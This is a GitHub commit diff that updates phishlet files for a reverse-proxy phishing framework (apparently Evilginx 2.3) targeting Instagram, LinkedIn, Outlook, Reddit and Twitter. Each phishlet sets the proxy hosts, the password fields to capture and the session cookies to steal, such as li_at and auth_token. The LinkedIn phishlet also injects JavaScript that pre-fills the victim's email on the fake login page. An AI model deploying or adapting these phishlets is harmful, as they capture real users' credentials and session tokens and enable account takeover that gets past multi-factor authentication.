7 changes: 4 additions & 3 deletions phishlets/instagram.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@prrrrinncee'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'instagram.com', session: true, is_landing: true}
- {phish_sub: 'm', orig_sub: 'm', domain: 'instagram.com', session: true, is_landing: false}
@@ -19,5 +19,6 @@ credentials:
key: 'pass'
search: '(.*)'
type: 'post'
landing_path:
- '/accounts/login'
login:
domain: 'www.instagram.com'
path: '/accounts/login'
28 changes: 21 additions & 7 deletions phishlets/linkedin.yaml
Original file line number Diff line number Diff line change
@@ -1,11 +1,8 @@
author: '@mrgretzky'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'linkedin.com', session: true, is_landing: true}
sub_filters:
- {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.linkedin.com', orig_sub: 'www', domain: 'linkedin.com', search: '//{hostname}/nhome/', replace: '//{hostname}/nhome/', mimes: ['text/html', 'application/json']}
sub_filters: []
auth_tokens:
- domain: '.www.linkedin.com'
keys: ['li_at']
@@ -18,5 +15,22 @@ credentials:
key: 'session_password'
search: '(.*)'
type: 'post'
landing_path:
- '/uas/login'
login:
domain: 'www.linkedin.com'
path: '/uas/login'
js_inject:
- trigger_domains: ["www.linkedin.com"]
trigger_paths: ["/uas/login"]
trigger_params: ["email"]
script: |
function lp(){
var email = document.querySelector("#username");
var password = document.querySelector("#password");
if (email != null && password != null) {
email.value = "{email}";
password.focus();
return;
}
setTimeout(function(){lp();}, 100);
}
setTimeout(function(){lp();}, 100);
7 changes: 4 additions & 3 deletions phishlets/outlook.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@mrgretzky'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'outlook', orig_sub: 'outlook', domain: 'live.com', session: true, is_landing: true}
- {phish_sub: 'login', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false}
@@ -26,5 +26,6 @@ credentials:
key: 'passwd'
search: '(.*)'
type: 'post'
landing_path:
- '/owa/?nlp=1'
login:
domain: 'outlook.live.com'
path: '/owa/?nlp=1'
7 changes: 4 additions & 3 deletions phishlets/reddit.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@customsync'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
- {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
@@ -24,5 +24,6 @@ credentials:
key: 'password'
search: '(.*)'
type: 'post'
landing_path:
- '/login'
login:
domain: 'www.reddit.com'
path: '/login'
7 changes: 4 additions & 3 deletions phishlets/twitter-mobile.yaml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
author: '@white_fi'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'mobile', orig_sub: 'mobile', domain: 'twitter.com', session: true, is_landing: true}
- {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: true, is_landing: false}
@@ -20,5 +20,6 @@ credentials:
key: 'session\[password\]'
search: '(.*)'
type: 'post'
landing_path:
- '/login'
login:
domain: 'mobile.twitter.com'
path: '/login'
16 changes: 7 additions & 9 deletions phishlets/twitter.yaml
Original file line number Diff line number Diff line change
@@ -1,13 +1,10 @@
author: '@white_fi'
min_ver: '2.2.0'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}
- {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false}
- {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
sub_filters:
- {triggers_on: 'twitter.com', orig_sub: '', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'abs.twimg.com', orig_sub: 'abs', domain: 'twimg.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
- {triggers_on: 'api.twitter.com', orig_sub: 'api', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
- {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com'}
- {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com'}
sub_filters: []
auth_tokens:
- domain: '.twitter.com'
keys: ['kdt','_twitter_sess','twid','auth_token']
@@ -20,5 +17,6 @@ credentials:
key: 'session\[password\]'
search: '(.*)'
type: 'post'
landing_path:
- '/login'
login:
domain: 'twitter.com'
path: '/login'

0 comments on commit c521dd9

Please sign in to comment.